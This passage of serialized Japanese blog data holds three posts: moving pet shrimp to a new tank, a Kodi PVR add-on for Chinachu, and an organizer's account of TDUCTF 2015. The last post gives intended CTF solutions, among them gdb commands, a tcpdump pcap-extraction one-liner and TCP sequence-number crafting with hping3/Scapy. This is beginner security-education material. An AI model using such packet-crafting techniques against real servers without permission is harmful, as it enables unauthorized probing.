4</a></blockquote>\n\n追加に伴い、今までの小さなポットは狭いと感じ、銀座の東急ハンズで大きなポットとガラス砂利を購入し、2月に飼い始めたエビとともに移し変えました。\nしかし悲しいことに、購入時の瓶から移し替える際に砂に潜ったエビが体調不良をおこし、購入の翌日の晩に亡くなってしまいました。\n他のエビは元気で、現在7匹ワイワイと過ごしております。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">一悶着あったけど無事全員の引越し完了! <a href=\"http://t.co/jLvciTSJGs\">pic.twitter.com/jLvciTSJGs</a></p>&mdash; エビライブ配信休止中 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/595228119708999680\">2015, 5月 4</a></blockquote>\n\n## 目次\n\n\n季節は変わり、初夏となりました。\n冬の間は購入時の瓶を[サーバーの中に入れたり](https://twitter.com/mzyy94/status/566981294739820547)USB接続の発熱体を水槽に貼り付けるなどして適温(24℃前後)を維持してきましたが、今は暑くなり、冷却が必要となりました。\n水槽の一般的な冷却方法は、ファンを当てることによる気化熱による熱量の移動です。ただ、この水槽内は汽水であるため、安易にファンでの冷却を行うと塩分濃度が変わってしまいます。\nそこで導入したのがこちらの水槽自動水足し機。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">えび用給水機設置 <a href=\"http://t.co/3QSjCYV2Tc\">pic.twitter.com/3QSjCYV2Tc</a></p>&mdash; エビライブ配信休止中 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/610766091095183360\">2015, 6月 16</a></blockquote>\n\n\n<iframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&bc1=000000&IS2=1&bg1=FFFFFF&fc1=000000&lc1=0000FF&t=mzyy-22&o=9&p=8&l=as4&m=amazon&f=ifr&ref=ss_til&asins=B00BJEB67C\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"></iframe>\n\n\n水量が減ると水圧によって自動でペットボトルから液体が水槽へと流れる仕組みとなっています。\nこのペットボトルにRO水を入れてファンを回し、冷却をすることにしました。\n\nしかし、自動水足し機を購入する際に懸念していた事項ですが、水足し機の固定具は直角な水槽の淵向けであり、円形の淵に固定具がフィットしないのです。\nそのため、暫定的にこのように隣のディスプレイに寄りかかるようにして設置していました。\nそれでもペットボトルは不安定で、[この前のように地震が起きてしまったら](https://twitter.com/mzyy94/status/602713494949994498)水槽ごと倒れる危険だってあります。\n丸い形の水槽が好きだったため、今まで丸いポットで飼っていましたが、ついに四角い水槽を買う必要に迫られてしまいました。\n\n買いました。四角い水槽。\n\n## 買った物リスト\n\n観賞魚や鑑賞エビの通信販売大手であるCharmさんで2-3時間かけて慎重に選び、水槽とその他グッズを購入しました。\n\n### 水槽\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.65897&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D65897)\n\n- Charm: [グラステリア250 (25×17×21) 25cm水槽(単体)](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.65897&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D65897)\n- Amazon: [ジェックス グラステリア 250](http://www.amazon.co.jp/gp/product/B004HCLJWK/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B004HCLJWK&linkCode=as2&tag=mzyy-22)\n\n\n水槽はサイズを迷いましたが25cm水槽を購入しました。小さなエビにとっては15cm水槽や20cm水槽でも十分広いだろうと思いましたが、万一汽水が蒸発した時の塩分濃度変化が少ないだろうと踏み、少し大き目を購入しました。\n\n### 砂利\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.161847&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D161847)\n\n- Charm: [アクアクリスタルサンド ブルー 500g](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.161847&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D161847)\n- Amazon: [アクアクリスタルサンド ブルー 500g](http://www.amazon.co.jp/gp/product/B00U5OY94O/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00U5OY94O&linkCode=as2&tag=mzyy-22)\n\n槽が広くなるため、今までの砂利では足りないと感じたため、同じ色の砂利を購入しました。\n\n\n### フィルター&ポンプ\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.170800&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D170800)\n\n- Charm: [水作 ボトムフィルター ミニ(ハーフプレート2枚入り)底面フィルター](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.170800&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D170800)\n- Amazon: [水作 水作ボトムフィルター ミニ](http://www.amazon.co.jp/gp/product/B00XA2NGP6/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00XA2NGP6&linkCode=as2&tag=mzyy-22)\n\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.14310&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D14310)\n\n- Charm: [ノンノイズ S-100 ~30cm水槽用エアーポンプ](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.14310&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D14310)\n- Amazon: [ノンノイズS-100](http://www.amazon.co.jp/gp/product/B0050NIM7U/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B0050NIM7U&linkCode=as2&tag=mzyy-22)\n\n\n一般的な形の水槽に変わったため、水質変化維持のためのフィルターをつける余地が出てきました。\nフィルターにはいくつか種類があり、壁掛け式や底面式などがあります。\n壁掛け式では水中から水を吸い込み、フィルターで濾して水槽内へ排出する仕組み上、小さくえびが吸い込まれてしまう危険があります。\n対して底面式では、砂利の下にある水を吸い上げフィルターで濾すため、その危険は格段に低くなります。\n迷うことなく後者の底面フィルター式を購入しました。\nポンプは水をフィルター内に循環させるために用います。\n\n### 水草\nせっかく大きな水槽になるのに装飾品がそのままでは少し物寂しいと思ったので、水草をいくつか追加しました。\n\n#### ウィローモス\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.12828&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D12828)\n\n- Charm: [(水草)ウィローモス(無農薬)(1パック)](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.12828&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D12828)\n- Amazon: [(水草)ウィローモス(無農薬)(1パック) 北海道航空便要保温](http://www.amazon.co.jp/gp/product/B00UF4A3QW/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00UF4A3QW&linkCode=as2&tag=mzyy-22)\n\n\nこれは前の記事にも書きましたが、汽水でも多分育つ藻です。\nえびの足場となったり食べ物になったりします。\n\n#### アヌビアス・ナナ\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.431211&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D431211)\n\n- Charm: [(水草)組織培養 ライフマルチ アヌビアス ナナ(無農薬)(1個)](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.431211&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D431211)\n- Amazon: [(水草)組織培養 ライフマルチ アヌビアス ナナ(無農薬)(1個) 北海道航空便要保温](http://www.amazon.co.jp/gp/product/B00UF485KI/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00UF485KI&linkCode=as2&tag=mzyy-22)\n\n\n\n他に汽水でも育つかもしれない水草はないかと調べていたところ、[汽水域で育つ(塩分に強い)水草 超水草図鑑エイトミリオン(アクアリウム・水草の育て方・水草水槽レイアウト・水草の増やし方)](http://eightmillion.net/255/)にて紹介されている水草の中で見た目が気に入ったものがこれです。\n主に色目のために入れます。\n\n### 汽水\n\n[](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.503740&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D503740)\n\n- Charm: [(海水)足し水くん 汽水 2.8L](http://click.linksynergy.com/link?id=fUSw4lglgFk&offerid=329184.503740&type=2&murl=http%3A%2F%2Fwww.shopping-charm.jp%2FItemDetail.aspx%3FitemId%3D503740)\n- Amazon: [(海水)足し水くん 天然海水「クリオネ水」(海洋深層水) 2.8リットル](http://www.amazon.co.jp/gp/product/B00UF458AS/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00UF458AS&linkCode=as2&tag=mzyy-22)\n\n\n水槽がいままでのものより大きくなるため追加の水が必要ですが、汽水であるため、そのままの水道水は使えません。\n汽水としてあらかじめ濃度が調節されているものが売られていたので、これを5.6リットル購入しました。\n\n\n## 引越し完了\n\n### Before\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">2015年6月16日現在のえび飼育装置全貌 <a href=\"http://t.co/yKWdfrhbUH\">pic.twitter.com/yKWdfrhbUH</a></p>&mdash; エビライブ配信休止中 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/610789625393647616\">2015, 6月 16</a></blockquote>\n\n### After\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">2015年6月20日現在のえび飼育装置全貌 <a href=\"http://t.co/oCNNERkua0\">pic.twitter.com/oCNNERkua0</a></p>&mdash; エビライブ配信休止中 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/612252163058745344\">2015, 6月 20</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">引っ越し完了! <a href=\"http://t.co/ms1wCAqxyz\">pic.twitter.com/ms1wCAqxyz</a></p>&mdash; エビライブ配信休止中 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/612251688510976000\">2015, 6月 20</a></blockquote>\n\n## まとめ\n\nえびかわいい\n"]}],[0,{"slug":[0,"2015/08/08/pvr-chinachu-addon/"],"data":[0,{"title":[0,"Kodi Chinachu PVRアドオンでRasPi2/Android TVをテレビに"],"date":[3,"2015-08-08T11:51:33.000Z"],"image":[0,"/assets/images/2015/08/08/chinachu-pvr-client-1_0_0.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"android"],[0,"chinachu"],[0,"dtv"],[0,"kodi"],[0,"osmc"],[0,"pvr"]]]}],"content":[0,"暑い日が続きますね。こういう日はエアコンの効いた部屋でだらだらとテレビを見たいものです。\nしかしテレビをもっておりません。27インチのモニタを持っているのみです。\n\nただ、今年2月に記事にしたように、Raspberry Pi2 + OSMC + Kodi(XBMC) + add-onで地デジの視聴環境は出来上がっており、\nだらだらとテレビを見ることができる状態にあります。\n\n- [Raspberry Pi2にOSMC入れてKodi(旧:XBMC)日本語化するまで](../2015/2015-02-16-raspberry-pi2-osmc-jp.md)\n- [KodiとChinachuで地デジLive視聴 on Raspberry Pi2 w/ OSMC](../2015/2015-02-21-kodi-livetv-chinachu.md)\n- [KodiでChinachuの録画を観るAdd-on作った](../2015/2015-02-24-kodi-chinachu-addon.md)\n\n\nこれでだいたい十分に地デジを視聴できるようになったのですが、最近Android TVを手にし、同じように上記記事のように\n地デジ視聴環境を整えて見ていたらいくつか不満が出てきました。\n\n1. ビデオAdd-onとテレビAdd-onを切り替えるのが面倒くさい\n2. Python製のためか、録画データJSONパースに時間がかかってる\n3. 録画予約の取り消しができない\n4. Chinachu側に手を加えるのはスマートではない\n\n\nそこで思い立ってKodi/XBMC向けのテレビadd-on(PVR add-on)を作って、上記問題の解決に取り組みました。\n\n## 目次\n\n\n\n## Chinachu PVR add-on\n\nということで出来上がったのがChinachu PVR add-onです。\n2月に記事にしたIPTV Simple Client Add-onと同種のPVR(Personal Video Recorder)Add-onで、\n上記記事で紹介した2つのAdd-onを複合して成り立っていた地デジ視聴環境と比べて、以下の利点があります。\n\n1. 1つのAdd-onでLive視聴・録画視聴ともにできる\n2. より高速なJSONパースでストレスの少ないデータの読み込み\n3. 録画予約のON/OFFができる\n4. Chinachuの標準APIを使っているのでChinachu側に手を加える必要なし(推奨バージョンはREADME.mdに記載)\n\n\nこれらの利点を備えたPVR add-on、Chinachu PVR add-onのバージョン1.0.0が出来上がりました。\n\n## pvr.chinachu 1.0.0\n\nKodi/XBMCにおけるPVR Add-onのリポジトリ命名規則は習慣によって、pvr.[バックエンドの名前]となっているようです。\nなのでpvr.chinachuという名でリポジトリを立ててあります。\n\n[**mzyy94/pvr.chinachu**](https://github.com/mzyy94/pvr.chinachu)\n\nPVR Add-onは共有ライブラリの形で提供する必要があるため、Pythonで書けるビデオAdd-onとは違って各プラットフォーム向けにバイナリ形式の実行可能ファイルを提供する必要があります。\n記事タイトルではRasPi2/Android TVとありますが、バージョン1.0.0で提供してるバイナリファイルの対象プラットフォームはLinux amd64/armv7(RasPi2含む), OS X 64bit, Android arm(TV含む)となっています。\nAutotools依存で作り始めたため、Windowsでのビルド環境を作るのが大変だったのでバイナリファイルの提供はしていませんが、VSプロジェクトを作ればビルドできるはずです。\n\nビルド方法、インストール方法、設定項目などの説明はリポジトリのREADME.mdに記載してあります。\n注意点として、*現時点でKodi 15.0 Isengardにしか対応していない*ので、他のバージョンのKodi/XBMCでは利用できません。\nRaspberry Pi2でOSMCを利用している人は、以下の記事に目を通し、`sudo apt-get update && sudo apt-get dist-upgrade -y`をしてKodi 15.0にしてから導入してください。\n\n[OSMC » OSMC’s July update lands (a little late) with Kodi 15](https://osmc.tv/2015/08/osmcs-july-update-lands-a-little-late-with-kodi-15/)\n\nパブリックリリース記念(?)として、インストール方法といくつか機能を説明します。\n\n### インストール\n\nChinachu側はREADME.mdに記載のバージョンもしくは最新版を利用していれば、特に設定は必要ありません。\nただ、Live視聴時のチャンネル切り替えパフォーマンスや、録画とLive視聴の衝突回避のためにも、README.mdの推奨バージョンを導入することをお勧めします。\n\nKodi/XBMCでAdd-onをインストールしたことがある人は知っていると思いますが、zip圧縮されたパッケージをメニューから選択するだけで、KodiにAdd-onを追加することができます。\n自分でビルドする方は各自ビルドし、ビルド済み実行ファイルを必要とする人は、以下のページからプラットフォームにあったパッケージをダウンロードしてください。\n\n[releases - mzyy94/pvr.chinachu](https://github.com/mzyy94/pvr.chinachu/releases)\n\nKodiを起動し、zip形式のパッケージをSettings -> Add-ons -> Install from zip-file から選択し、Add-onsの階層にあるPVR clientsからChinachu PVR clientを探し出して設定を行ってください。\n\n\n\n設定項目に関しては[wiki/configuration - mzyy94/pvr.chinachu](https://github.com/mzyy94/pvr.chinachu/wiki/configuration)にまとめてあります。\n\nその後、Settings -> TV -> GeneralからEnabledにしてPVR add-onを開始してください。\n\n\n\n** ※Android/Android TV環境ではこのままでは動作しないことがあるので、[wiki/Android-Installation - mzyy94/pvr.chinachu](https://github.com/mzyy94/pvr.chinachu/wiki/Android-Installation)を参考に少しいじってください。 **\n\n\n\nPVRプラグインが有効になるとKodiのメイン画面にTVの項目が現れ、Chinachuから取得したデータにアクセスできるサブ項目も現れます。\nSkinによっては録画中や録画予約済みの項目がメイン画面に表示されたりします。\n\nサブ項目のChannelsで各チャンネルで現在放送中の番組を、Guideでテレビ番組表を確認でき、Recordingsで録画の視聴、Timerで録画予約の確認、Searchで番組検索ができます。\nSkinごとの差異や日本語設定にしていると項目名が違いますが、似たような項目が現れると思います。\n表示言語を日本語に設定していない場合、Settings -> Appearance -> Skin -> Fontsから日本語表示に対応しているフォント(例:Arial)を選択しておかないと、文字化けして使い物にならいのでご注意を。\n\n\n\n### Channels\n\n\n\nChinachuから取得したチャンネルの一覧と、現在放送中の番組が表示されるページです。\nチャンネルを選択するとライブ視聴ができます。\n\n画像ではチャンネル横に曲ごとのアイコンをつけていますが、自動で取得するように実装していないので、\n必要であればSettings -> TV -> General -> Channel managerにてアイコンの追加ができるのでそこで追加するようにしてください。\n\nちなみにここで表示されるチャンネルはGR/BS/CSと、地デジ・BS・CSを分けてグループ化してあるので、項目が多すぎる場合はメニューから表示するグループを選択することができます。\n\n\n\n\n### Guide\n\n\n\nChinachuから取得した番組表情報を、チャンネルごとに表示するページです。\nテーマによっては番組のジャンルごとに色分けがされて表示されます。\n\n番組表形式の表示方法以外にも、いくつかメニューから表示形式を選ぶことができます。\nバージョン1.0.0では番組表の番組選択からの録画予約に対応していないので、番組情報の確認とチャンネルの切り替えだけとなります。\n\n### Recordings\n\n\n\n名前の通り、録画した番組を視聴できるページです。\n選択すると再生することができます。\nデフォルト設定ではサムネイルを録画開始30秒地点のものを表示するようにしてありますが、設定で変更できます。\n\n### Timer\n\n\n\nタイマーと名のつくこのページでは、録画予約を確認できます。\n現バージョンでは新たに追加することはできませんが、予約のStateをActive/Inactiveにすることで、Chinachuの録画予約をSkip/Unskipできるようになっています。\n\n### Search\n\n\n\n番組検索ができるページがSearchページです。\n今の所、番組タイトルのみを対象としており、かつ大文字小文字・全角半角を厳しく判定しているので、すこしでも違うとヒットしません。\nバージョン1.0.0では、検索してもできることは番組情報の表示だけなので、録画予約の設定や、\n検索ワードに関して改良の余地アリなので今後改良していきたいです。\n\n### オマケ\n\n\n\nSettings -> System info -> PVR Serviceからチャンネル数や録画済み番組数、録画予約数が確認できます。\n\n## まとめ\n\nRaspberry Pi2でもAndroid TV(一手間必要)でも快適に地デジ見れるようになったので、[チューナーなし50インチ4Kディスプレイ](http://japanese.engadget.com/2015/08/06/7-5000-50-4k-q-display-4k50-upq/)が欲しくなってしまった。\n"]}],[0,{"slug":[0,"2015/09/18/tductf-2015-digression/"],"data":[0,{"title":[0,"TDUCTF 2015の運営をした話"],"date":[3,"2015-09-17T16:33:16.000Z"],"image":[0,"/assets/images/2015/09/18/tductf-frontend.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"CTF"]]],"tags":[1,[[0,"tductf"],[0,"electron"],[0,"react"],[0,"lepusctf"]]]}],"content":[0,"みなさんご参加ありがとうございます。\n存じ上げている方もたくさんいらっしゃると思いますが、先月末の日曜日にTDUCTF 2015なるものが開催されました。\n\n[**TDUCTF 2015 - connpass**](http://connpass.com/event/17306/)\n\n前回開催が3月末にあったのですが、所要で参加できないことがわかり、悔しさからネットワーク系のCTF問題を作って提供しました。\n\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/FxTJmR5D9IePUk?startSlide=14\" width=\"425\" height=\"355\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/nomuken/ss-46568790\" title=\"メインスライド\" target=\"_blank\">メインスライド</a> </strong> from <strong><a href=\"//www.slideshare.net/nomuken\" target=\"_blank\">nomuken</a></strong> </div>\n\nそのとき運営陣の@nomuken氏からの「次回は問題作成だけではなく運営陣に加わっていっしょに盛り上げよう」との提案を受け、\n今回TDUCTF 2015にて運営側に立つこととなりました。\n\nさて、具体的に運営として何をしてきたかの記録を以下に述べますが、後半には問題のネタバレなどを含んでおります。ご注意ください。\n\n\n## 目次\n\n\n\n## フロントエンドアプリケーションの作成\n\nTDU CTF 2014 Satellite in ConoHaが無事終了し、次回開催に向けての話が始まりだした時に運営の方々の仲間に入り、どのようにして準備していくかなどの議論をはじめました。\nその議論の最初の議題は毎度フルスクラッチなスコアサーバーをどうしようかというものでした。\n常設CTFや有志で行われてるオンサイトCTFで*イケてるスコアサーバー*を見かけないのを悲しく思い、Web開発全然得意じゃないのにも関わらず、\n\n**「俺がイケてるCTFスコアサーバー作るよ」**\n\nなどと言ってしまいました。\n\nすんなりと「お、じゃあお願いするね」と言われて開発することになったのですが、イケてるスコアサーバーはWebフロントエンド部分のことを指しており、\nサーバーサイドは別で他のメンバーが開発する、分業となりました。\n\nさて、困った。作ると言い出したものの最近のWebのトレンド知らないしTwitter Bootstrap・jQueryアレルギーだしどうしたものか、と。\n\nまだ開催まで時間あるしとりあえずトレンド調査だけしておこうと思い、いろいろ調べるだけ調べて放置していました。\n\n時は流れ、TDUCTF 2015開催2週間前。\n\nSlackに流れる「フロントエンドの進捗どうですか?」の文字列。\n手元のソースコードリポジトリで`git log`をしてみたところ、\n\n```\nfatal: bad default revision 'HEAD'\n```\n\nアカン。\n\n\nその日から睡眠時間を削り、圧倒的進捗率を叩き出すべく腱鞘炎になりながらもコードを書き続けました。\n\nコミットはゼロでも頭の中に構想は練ってあったので、あとはキーボードを叩きまくるだけという状態になっていたものの、\n時間が足りない上に睡眠不足でタイポするわで結構大変でした。\n\nトレンド調査で、[React](https://facebook.github.io/react/)+[Flux](https://facebook.github.io/flux/)の構造を軸に、見た目は[Semantic UI 2](http://semantic-ui.com/)で整え、[Electron](http://electron.atom.io/)で単一アプリケーション化するのがモダンでイケてる感じであるとわかったので、これらを用いて組み立てていくことにしました。\nElectronでアプリケーション化したのは、「今までにないイケてるCTFスコアサーバー」の形を実現する目的に加えて、「マルチブラウザ対応に追われる時間をゼロにする」目的もありました。結果として、Internet Explorer(CTF参加者に利用者はいるのだろうか?)などのへの対応のためにバッドノウハウを使わなくて済みました。\n\n途中Flux部分にしっくりくるものがなく、[Redux](http://rackt.github.io/redux/)に変更するまでに時間を要したものの、2週間ぶっ通しの突貫工事でなんとか、開催までに\"形にする\"ことができ、参加者に楽しんでいたくことができたと思います。\n\n開催までは非公開で管理していたのですが、オープンソースで公開するとの話があったので、現在はGitHubにて公開しています。\n\n[lepus-ctf/lepus-frontend · GitHub](https://github.com/lepus-ctf/lepus-frontend/)\n\n詳しい開発秘話はしないので、苦労は上記リポジトリのコミットログから察してください。\n\n## 問題作成\n\nCTFの主軸となる問題作成に関しての話です。\nネタバレが含まれるので問題を解きたい人はお気をつけを。\n\nCTFの運営として参加しているので、問題の作成はほぼ必須なのですが、なにせフロントエンドアプリケーションの作成に追われていて、\n「案はあるけど作ってる暇がない」ということとなってしまい、少ししか用意できませんでした。\n問題案などはストックできてるので次回開催時に登場する予定です。\n\n用意した問題は一部を除いて以下のサイトで公開しています。\n\n[ctf.mzyy94.com](http://ctf.mzyy94.com)\n\n問題の作成意図と簡単な想定解法を紹介します。\nあと、TDUCTF 2015は初心者歓迎を掲げて開催してたので、プロ向けの問題はあまりありません。\n\n### Keygenerator\n\n[http://ctf.mzyy94.com/q/TDUCTF2015-BIN200/](http://ctf.mzyy94.com/q/TDUCTF2015-BIN200/)\n\n問題文: 実行してフラッグをゲットせよ!\n\n\nこの問題は、与えられた実行ファイルを実行しろというものです。\nlibprintkey.soという自作共有ライブラリとkey_generatorという実行アプリケーションが渡されるのですが、\n普通にアプリケーションを実行したりデバッグしてもフラグは得られません。\n\n作成意図としては、「共有ライブラリも単体実行可能」という点に気づいて、\n問題文の「実行して」のとおりに共有ライブラリに実行可能フラグを立てて、\n`./libprintkey.so`とすれば、フラグが出力されるようになっていました。\n\ngdbなどでkey_generatorをデバッグしてた方から、「あるべきところにフラグがないがどういうことなのか?」という質問がありましたが、\nすいません、そっちじゃなかったんです。\n\n単純に実行してフラグを得られるため初期の想定では100点問題になるとしていたのですが、\n配点会議でライブラリの単体実行するポイントに気づかない人も多いかもしれないとのことで、200点に引き上げられました。\n\n### devnull\n\n[http://ctf.mzyy94.com/q/TDUCTF2015-BIN250/](http://ctf.mzyy94.com/q/TDUCTF2015-BIN250/)\n\n問題文: Usage: ./devnull > /dev/null\n\n実行すると、標準出力を/dev/nullにリダイレクトしてくれとUsageが出てきて、\nそのとおりに実行すると、/dev/nullにフラグが出力されるというものです。\n\nリダイレクト先をパスで判定しているので、/dev/nullを適当なブロックファイルに差し替えるか、\ngdbでブレイクポイントを仕掛けたり、ltraceとかで処理を追って、出力される部分を覗き見できればフラグが得られます。\n\ngdbの使い方に慣れてほしいという願いを込めて作っていたので、想定していた解法は以下のとおりです。\n\n```\n$ gdb ./devnull\n(gdb) b printf\n(gdb) r > /dev/null\n(gdb) i r\n(gdb) x/s $rsi\n```\n\n\n### 「名前が変えられいるってことで間違いないな」\n\n[http://ctf.mzyy94.com/q/TDUCTF2015-MISC200/](http://ctf.mzyy94.com/q/TDUCTF2015-MISC200/)\n\n問題文: password:password\n\n問題には拡張子がjpgのファイルが付属しています(JPEGファイルとは言っていない)。\n\nCTFに必要なググり力を問うための問題で、問題タイトルを検索ワードにググると、\nほこ×たてのハッキング対決に関する記事がいくつかヒットします。\nほこ×たて内では 「名前が変えられいるってことで間違いないな」は「TrueCryptで暗号化されている」のことを指しているという記事が見つかるので、\n添付のファイルをTrueCryptを用いてパスワードにpasswordを指定してマウントすると、フラグが出てきます。\n\n### Portscan\n\n[http://ctf.mzyy94.com/q/TDUCTF2015-NW500/](http://ctf.mzyy94.com/q/TDUCTF2015-NW500/)\n\n問題文: ポートスキャンが仕掛けられた!ん?何かメッセージがついてきているぞ?\n\nUDPポートスキャンを観測したpcapファイルが渡されます。\nUDPのペイロードに1バイトずつメッセージがついてきてるのでそれを抽出してあげるとフラグが取得できる問題です。\n\nこの問題は、WiresharkのFollow UDP Streamですぐに答えが出るようではひねりがないと思い、\ntcpdumpやtsharkのオプションを覗いたり他のパケット解析ツールを使ってほしいという想いを込めて作成しました。\nなので、Wiresharkで解くことはほとんど不可能です。\n\n想定していた解答方法は以下のとおりです。\n最初は100点くらいの配点にしようとしていたのですが、配点会議で「これはわからん」と言われ急遽500点まで引き上げられました。\n\n```bash\nprintf $(tcpdump -r secretmsg.pcap -x 'udp' | grep 0x0010 | perl -pe's/^.*(..)00 0000\\n$/\\\\x\\1/')\n```\n\n### Lucky 7\n\nこの問題はサーバーにアクセスするタイプのネットワーク問題なのでオンサイトでしか用意しておらず、現在は公開していません。\n問題内容は、netcatでアクセスすると以下のような表示が返ってくるものです。\n\n```\nChallenge!\n2187123 != 77777777\n```\n\n左辺にある数字が77777777と等しくなるようにアクセスするとフラグが降ってくるのではないかとピンとくる人もいれば、\nランダムに変化するからBruteforceで解こうする人もいたりと、サーバーを監視していてなるほどと感じることが多かったです。\nこの左辺の数字は、サーバー側が`Challenge!`を返す際のAcknowledge Numberになっており、ここが77777777になっていないためにエラーが返されているのです。\nWiresharkなどで監視しながらアクセスしていたひとは、この関連性がわかったとおもいます。\n\nSequential Numberをいじれるhping3やScapyに触れてもらおうという願いを込めて作成しました。\n解法としてはそれらを用いて、3-way handshakeが終了した時点のSequential Number(= サーバーがChallenge!を返す際のAcknowledge Number)が77777777になるようにコネクションを張り始めるようにすれば、フラグが返ってくるというものでした。\n\n\n### moneyscript\n\n[http://ctf.mzyy94.com/q/TDUCTF2015-MISC400/](http://ctf.mzyy94.com/q/TDUCTF2015-MISC400/)\n\n問題文: 6a29585444557b426974636f696e21426974636f696e21426974636f696e217d\n\nmoneyscriptシリーズの1問目です。こちらは簡単な方です。\nmoneyscriptのmoneyが指すのはBitcoinで、このシリーズの問題はBitcoin Scriptを実行して答えを得る問題となっています。\n1問目は優しめに作ってあり、適当にデコードすればフラグが得られるよになっていますが、Bitcoin Scriptとは何かを理解してほしく作成しました。\n\nGoogleで検索するとBitcoin ScriptのWikiがヒットします。\n\n[Script - Bitcoin Wiki](https://en.bitcoin.it/wiki/Script)\n\nこのWikiにしたがって問題文のBitcoin Scriptが意味するところを先頭から照らしていくと、\n\n- 0x6a = OP_RETURN\n- 0x29 = 41バイト確保\n\nそれ以降は文字コードの16新表記となっています。\n\nなので、適当にデコードするだけでフラグが出てきてしまいますが、Bitcoin Scriptの仕組みを知ってもらえたらとおもい、作成しました。\n\n### moneyscript!!!\n\n[http://ctf.mzyy94.com/q/TDUCTF2015-MISC600/](http://ctf.mzyy94.com/q/TDUCTF2015-MISC600/)\n\n問題文は上記リンクから閲覧ください。\n\n\nこちらは難しい方のBitcoin Script問題です。\n先ほどのWikiにアクセスできていれば、照らしあわせて脳内で実行すればいいのですが、\n少々骨の折れるものなので、Bitcoin Scriptを扱えるアプリケーションを使う必要が出てきます。\n\n任意のアプリケーションを使って解いてもらえればいいのですが、\nNode.jsのモジュールに、[bitcore](http://bitcore.io/)というモジュールがあるので、それを用いて以下のように実行するなどして、フラグを取得できます。\n\n```javascript\nvar bitcore = require('bitcore');\nvar Script = bitcore.Script;\nvar code = '4c0155828f635e76937367595294687b736b7c6c938f618fa76b4c0222ea6c';\n\nvar buffer = new Buffer(code, 'hex');\nvar interpreter = Script.Interpreter();\n\ninterpreter.script = new Script(buffer);\ninterpreter.evaluate();\n\nvar first_stack = interpreter.stack.pop();\nvar hex_string = first_stack.toJSON().data.map(function(x) {\n\treturn x.toString(16);\n})\n\nvar flag = 'TDU{' + hex_string.join('') + '}';\n\nconsole.log(flag);\n```\n\n## 開催について\n\n\nフロントエンドアプリケーションの作成がギリギリだったがために、RESTサーバーのテストが十分にできず、運営陣には多くの迷惑をかけてしまいました。\nまた、フロントエンドアプリケーション側もテストが追いつかず、バグだらけで配布してしまったがために、当日は問題の添付ファイルが破損していたり、\nカウントダウンが正常に機能しないなどのバグを発生させてしまい、参加者各位にも大変に迷惑をかけてしまいました。\nその節は申し訳ありませんでした。\n\nTDUCTF 